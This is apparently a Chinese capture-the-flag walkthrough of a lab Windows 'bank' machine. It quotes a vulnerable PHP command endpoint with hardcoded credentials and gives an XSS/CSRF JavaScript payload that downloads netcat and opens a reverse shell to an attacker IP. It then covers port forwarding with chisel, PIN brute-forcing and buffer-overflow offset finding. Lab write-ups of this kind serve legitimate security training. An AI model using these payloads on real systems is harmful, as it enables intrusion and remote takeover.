Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 99.34 seconds
if($username == "admin" && $password == "Hopelessromantic"){ if(isset($_POST['cmd'])){ // FILTER ESCAPE CHARS foreach($bad as $char){ if(strpos($_POST['cmd'],$char) !== false){ die("You're not allowed to do that."); } } // CHECK IF THE FIRST 2 CHARS ARE LS if(substr($_POST['cmd'], 0,strlen($good)) != $good){ die("It's only allowed to use the $good command"); }
if($_SERVER['REMOTE_ADDR'] == "::1"){ system($_POST['cmd']); } else{ echo"It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server."; } } } else{ echo"You are not allowed to use this function!"; } ?>
XSS + XSRF = Shell
然后就是修改xss代码，让管理员执行命令，reverse shell：
shell.js
1 2 3 4 5
var request = new XMLHttpRequest(); var params = 'cmd=dir|powershell -c "iwr -uri 10.10.14.15:7777/nc64.exe -outfile %temp%\\n.exe"; %temp%\\n.exe -e cmd.exe 10.10.14.15 4445'; request.open('POST', 'http://localhost/admin/backdoorchecker.php', true); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(params);
user flag
然后直接用户桌面得到user.txt:
提权信息
C盘根目录有个bankv2.exe，当前用户没有权限:
查看端口和进程发现bankv2.exe运行在本地的910端口,可以把端口转发出来：
1 2 3 4 5 6
#local ./chisel_1.7.0-rc7_darwin_amd64 server -p 8000 --reverse
Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 0 4 K System 4 0 140 K smss.exe 288 0 1.188 K csrss.exe 360 0 8.324 K wininit.exe 444 0 5.296 K csrss.exe 452 1 4.140 K winlogon.exe 520 1 13.744 K services.exe 576 0 7.696 K lsass.exe 584 0 13.052 K svchost.exe 668 0 14.652 K svchost.exe 732 0 9.084 K dwm.exe 824 1 30.176 K svchost.exe 876 0 50.968 K svchost.exe 892 0 16.632 K svchost.exe 904 0 24.436 K svchost.exe 936 0 16.752 K svchost.exe 392 0 16.804 K svchost.exe 1052 0 16.520 K svchost.exe 1100 0 7.928 K svchost.exe 1196 0 7.124 K spoolsv.exe 1340 0 15.596 K bankv2.exe 1572 0 80 K svchost.exe 1624 0 20.816 K svchost.exe 1652 0 10.156 K vmtoolsd.exe 1780 0 23.688 K VGAuthService.exe 1788 0 13.024 K Memory Compression 1904 0 34.376 K xampp-control.exe 2224 0 2.912 K WmiPrvSE.exe 2364 0 19.144 K dllhost.exe 2436 0 13.020 K msdtc.exe 2612 0 10.180 K LogonUI.exe 2780 1 49.004 K SearchIndexer.exe 2864 0 18.632 K conhost.exe 2276 0 560 K httpd.exe 3364 0 36 K conhost.exe 3372 0 48 K mysqld.exe 3388 0 14.748 K conhost.exe 3400 0 112 K httpd.exe 3724 0 6.868 K svchost.exe 3544 0 7.076 K sedsvc.exe 2788 0 8.488 K svchost.exe 3688 0 8.296 K cmd.exe 1692 0 2.772 K conhost.exe 1504 0 4.188 K powershell.exe 3012 0 6.784 K n.exe 2420 0 3.936 K cmd.exe 4236 0 3.116 K SearchProtocolHost.exe 1524 0 10.764 K SearchFilterHost.exe 1292 0 6.336 K tasklist.exe 4424 0 7.784 K
bankv2
首先脚本爆破出来pin码是0021:
使用正确的pin码测试功能：
overflow
如果输入长字符串，会发现覆盖了内部调用的程序，基础的溢出：
那就是常规的确认偏移，构造payload：
1 2 3 4
➜ ~ msf-pattern_create -l 40 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A ➜ ~ msf-pattern_offset -q 0Ab1 [*] Exact match at offset 32
